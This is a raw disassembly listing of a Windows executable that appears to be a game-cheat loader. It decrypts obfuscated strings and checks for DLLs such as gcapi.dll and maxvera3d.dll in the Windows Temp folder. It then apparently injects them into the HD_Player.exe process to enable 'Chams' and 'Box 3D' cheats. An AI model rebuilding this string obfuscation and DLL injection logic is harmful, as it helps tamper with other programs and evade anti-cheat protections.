mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069790
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140064a31
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400649ec
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140064a00
lea rdx, [rbp + 0x880]
mov qword [rbp - 0x40], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.1400697c0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140064ba1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140064b66
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140064b70
lea rdx, [rbp + 0x430]
mov qword [rbp - 0x38], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.1400697f0
mov r10, rax
cmp byte [rax + 7], 0
je 0x140064d11
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140064ccf
movdqa xmm2, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x140064d11
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140064ce0
lea rdx, [rbp + 0x767]
mov qword [rbp - 0x30], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069800
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140064e81
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140064e46
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140064e50
mov r9d, 3
mov dword [rsp + 0x20], 2
lea r8, [rbp - 0x40]
mov rcx, r10
lea rdx, [0x1401f6dd8]
call fcn.140039240
call fcn.1400381a0
lea rcx, [rbp + 0x438]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x440]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x51]
mov byte [rbp - 0x51], 0
call fcn.140069820
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140065081
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140065047
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140064f40
cmp r8d, 0x16
jge 0x140065081
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140065050
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x1400652ae
mov eax, dword [0x1401f6dd8]
test eax, eax
jne 0x140065135
lea rdx, str.HD_Player.exe
lea rcx, [rbp - 0x80]
call fcn.1400463e0
lea rdx, str.C:WindowsTempgcapi.dll
lea rcx, [rbp - 0x18]
call fcn.1400463e0
lea rcx, [0x140179098]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x18]
call fcn.1400462c0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140069273
lea rcx, [rbp - 0x80]
call fcn.1400462c0
mov rcx, rax
mov edx, reloc.WS2_32.dll_listen
call fcn.1400577f0
mov dword [rsp + 0x64], eax
test eax, eax
je 0x14006511d
lea rcx, [rbp - 0x18]
call fcn.1400462c0
mov ecx, dword [rsp + 0x64]
mov rdx, rax
call fcn.1400578a0
lea rcx, str.Chams_Colore_:_Enabled
call fcn.140056010
lea rdx, str.Chams_Colre_:_Enabled
jmp 0x140065266
cmp eax, 1
jne 0x1400651d0
lea rdx, str.HD_Player.exe
lea rcx, [rbp - 0x80]
call fcn.1400463e0
lea rdx, str.C:WindowsTempmaxvera3d.dll
lea rcx, [rbp - 0x18]
call fcn.1400463e0
lea rcx, [0x140179098]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x18]
call fcn.1400462c0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140069273
lea rcx, [rbp - 0x80]
call fcn.1400462c0
mov rcx, rax
mov edx, reloc.WS2_32.dll_listen
call fcn.1400577f0
mov dword [rsp + 0x64], eax
test eax, eax
je 0x1400651b8
lea rcx, [rbp - 0x18]
call fcn.1400462c0
mov ecx, dword [rsp + 0x64]
mov rdx, rax
call fcn.1400578a0
lea rcx, str.Chams_3D_:_Enabled
call fcn.140056010
lea rdx, str.Chams_3D_:_Enabled
jmp 0x140065266
cmp eax, 2
jne 0x1400652ae
lea rdx, str.HD_Player.exe
lea rcx, [rbp - 0x80]
call fcn.1400463e0
lea rdx, str.C:WindowsTemp_boxZ.dll
lea rcx, [rbp - 0x18]
call fcn.1400463e0
lea rcx, [0x140179098]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x18]
call fcn.1400462c0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140069273
lea rcx, [rbp - 0x80]
call fcn.1400462c0
mov rcx, rax
mov edx, reloc.WS2_32.dll_listen
call fcn.1400577f0
mov dword [rsp + 0x64], eax
test eax, eax
je 0x140065253
lea rcx, [rbp - 0x18]
call fcn.1400462c0
mov ecx, dword [rsp + 0x64]
mov rdx, rax
call fcn.1400578a0
lea rcx, str.Box_3D_:_Enabled
call fcn.140056010
lea rdx, str.Box_3D_:_Enabled
lea rcx, [0x1401c02a0]
call fcn.1400462d0
mov r8d, 0x20001
lea rcx, str.C:WindowsTemp1152743123047419974.wav
xor edx, edx
call qword [sym.imp.WINMM.dll_PlaySoundA]
mov r8d, 0x20000
lea rcx, str.C:WindowsTemp1152743123047419974.wav
xor edx, edx
call qword [sym.imp.WINMM.dll_PlaySoundA]
lea rcx, [rbp - 0x18]
call fcn.1400462f0
lea rcx, [rbp - 0x80]
call fcn.1400462f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
lea rcx, [rbp + 0x448]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x450]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x50]
mov byte [rbp - 0x50], 0
call fcn.140069850
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140065491
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140065458
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140065351
cmp r8d, 0x19
jge 0x140065491
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140065460
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x1400654d2
mov eax, dword [0x1401f6dd8]
test eax, eax
je 0x1400654d2
cmp eax, 1
jne 0x1400654b8
mov byte [0x1401c233a], al
jmp 0x1400654d2
cmp eax, 2
jne 0x1400654c6
mov byte [0x1401e2476], 1
jmp 0x1400654d2
cmp eax, 3
jne 0x1400654d2
mov byte [0x1401e2477], 1
call fcn.1400381a0
lea rdx, [rbp + 0xd0]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069880
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140065681
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140065641
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140065540
jmp 0x140065681
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140065650
lea rdx, [rbp - 0x18]
mov qword [rbp + 0x168], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069890
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x140065831
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400657f7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400656f0
cmp r8d, 0x14
jge 0x140065831
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140065800
mov r9d, 1
mov dword [rsp + 0x20], 0
lea r8, [rbp + 0x168]
mov rcx, r10
lea rdx, [0x1401f6dd0]
call fcn.140039240
call fcn.1400381a0
lea rcx, [rbp + 0x458]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x460]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x7a3]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x4f]
mov byte [rbp - 0x4f], 0
call fcn.1400698b0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140065a01
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400659c4
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1400659d0
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x140065a2f
mov eax, dword [0x1401f6dd0]
test eax, eax
jne 0x140065a24
mov byte [0x1401e249c], 1
jmp 0x140065a2f
cmp eax, 1
jne 0x140065a2f
mov byte [0x1401c11f9], al
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
lea rcx, [rbp + 0x468]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x470]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x7f0]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x4e]
mov byte [rbp - 0x4e], 0
call fcn.1400698d0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140065be1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140065ba6
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
